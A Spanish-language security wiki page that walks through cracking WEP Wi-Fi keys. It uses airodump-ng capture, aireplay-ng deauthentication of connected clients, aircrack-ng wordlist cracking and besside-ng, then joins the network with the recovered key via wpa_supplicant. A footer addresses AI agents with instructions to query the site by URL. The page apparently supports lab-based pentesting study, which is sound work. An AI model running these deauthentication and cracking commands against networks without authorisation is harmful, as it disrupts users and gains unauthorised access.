# WEP

Al usar RC4 con claves de 64bits o 128bits para cifrar las comunicaciones, es declarado vulnerable y obsoleto desde 2003, que fue sustituido por WPA, por lo que es altamente recomendable no usar estas redes.&#x20;

## Obtener contraseña de la red

En primer lugar tenemos que identificar el BSSID del punto de acceso, de forma que interceptamos el tráfico de este punto de acceso.

Hay varias formas de obtener la contraseña de la red:

1. Con clientes conectados

```bash
airodump-ng -band abg -b [BSSID] -c [canal] -w escaneo [wlan0mon]
```

Para generar más tráfico, podemos desautenticar a los clientes conectados

```bash
aireplay-ng -0 0 -a [BSSID] [wlan0mon]
```

Una vez hemos capturado tráfico durante un tiempo relevante,&#x20;

```bash
aircrack-ng escaneo-01.cap -w [rutaDiccionario]
```

2. Con besside-ng

```
airmon-ng check kill
besside-ng -c [canal] -b [BSSID] [wlan1] -v
```

## Conexión a la red

Teniendo la contraseña de la red podemos conectarnos generando el fichero de configuración de la red "wpa\_supplicant\_ESSID.conf"

```
network={
  ssid=[ESSID] // el nombre de la red
  key_mgmt=NONE
  wep_key0=[PASSWORD] // la contraseña de la red
  wep_tx_keyidx=0
}
```

Para conectarnos a la red usaremos

```
wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1]
```

## Recursos y enlaces de referencia

* [WifiChallengeLab](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/#07-get-wifi-old-password)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/wifi/wep.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
